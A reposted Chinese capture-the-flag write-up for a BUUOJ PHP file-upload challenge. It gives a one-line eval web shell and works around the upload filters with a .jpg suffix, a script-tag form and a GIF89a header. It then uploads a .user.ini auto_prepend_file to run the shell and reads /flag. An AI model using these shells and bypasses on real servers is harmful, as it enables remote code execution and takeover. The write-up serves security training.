本文介绍: 只需要重新开启题目环境即可最后,做这道题步骤是,先上传.user.ini配置文件,再去上传PHP一句话木马文件。因为我们使用的是auto_prepend_file,在主文件之前就已经自动解析文件名了,所以index.php主文件在最后面。php.ini大家都熟悉,那么我们可以把.user.ini理解为用户自定义php.ini配置文件绕过后缀的文件格式phpphp3、php4、php5、phtmlpht。.user.ini配置文件和.htaccess配置文件都是为了解析PHP代码

题目环境
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以看出是文件上传类的题目
绕过后缀的文件格式有php、php3、php4、php5、phtml、pht。

构造木马文件
<?php @eval($_REQUEST['shell']); ?&gt;

这里我把文件命名为了shell.php

上传木马文件
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

illegal suffix!
非法后缀

shell.php改为shell.jpg

继续上传木马文件
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

<? in contents! 存在违法内容“<?”

改变思路点
将PHP一句话木马转换为JS形式

重构木马文件
<script language="php"&gt;@eval($_REQUEST['shell']);</script&gt;
继续上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

exif_imagetype:not image!
Exif _ imagetype: 不是 image!

Exif _ imagetype无法检测GIF动态图片
GIF的ASCII值是GIF89a
木马前面加GIF89a绕过Exif _ imagetype检测

重构
GIF89a<script language="php"&gt;@eval($_REQUEST['shell']);</script&gt;
上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

上传成功

使用中国蚁剑测试连接
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以连接,但是返回数据是空的
猜测后台并没有解析PHP代码

访问题目源码
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

提示是.user.ini配置文件

这里呢,我发现.user.ini配置文件与.htaccess配置文件比较类似
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以我们实现:网页301重定向自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录访问、禁止目录列表、配置默认文档功能
注意这几个字“改变文件扩展名”。

.htaccess配置文件格式
<FileMatch “1.jpg>
SetHandler application/xhttpd-php

那么我这里就觉得或者说是简单理解吧
.user.ini配置文件和.htaccess配置文件都是为了解析PHP代码

php.ini大家都熟悉,那么我们就可以把.user.ini理解为用户自定义的php.ini配置文件

官方给的解释
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

两个比较有意思的东西
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

而这两个就是.user.ini中的两个配置项
auto_prepend_file是在文件前插入
auto_append_file是在文件最后插入

创建.user.ini文件

GIF89a
auto_prepend_file=shell.jpg

上传.user.ini文件
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
访问路径文件
[http://ac513c0d-afdf-4e89-920a-93eedd63102d.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php](http://ac513c0d-afdf-4e89-920a-93eedd63102d.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php)
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

回显GIF89a就代表解析成功了
这里解释一下为什么index.php主文件在最后
因为我们使用的是auto_prepend_file,在主文件之前就已经自动解析文件名了,所以index.php主文件在最后面。

第一种解法:PHP内部命令

var_dump() 函数用于输出变量的相关信息
file_get_contents() 函数把整个文件读入一个字符串中。

构造payload
[http://19ff03ff-93cb-4b33-94ec-95a79619b92a.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php](http://19ff03ff-93cb-4b33-94ec-95a79619b92a.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php)?shell=var_dump(file_get_contents("/flag"));
上传payload
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
得到flag
flag{4f105e98-c110-4b71-9160-545aa8e7131e}
第二种解法:中国蚁剑
http://2d9647e6-425e-4d7f-bb6a-116f0f51bfc8.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php

注:中国蚁剑连接密码就是PHP一句话木马里面的参数
这里shell

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
得到flag
flag{8f943f63-53c9-4395-9f91-d28052e52d55}

这两种方法测试完,我发现,上传木马后有时间限制,过一段时间木马就会失效,还有试过一种方法,再试另一种方法木马也会失效;只需要重新开启题目环境即可最后,做这道题步骤是,先上传.user.ini配置文件,再去上传PHP一句话木马文件。

原文地址:https://blog.csdn.net/m0_73734159/article/details/134676460

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。

如若转载,请注明出处:http://www.7code.cn/show_5263.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注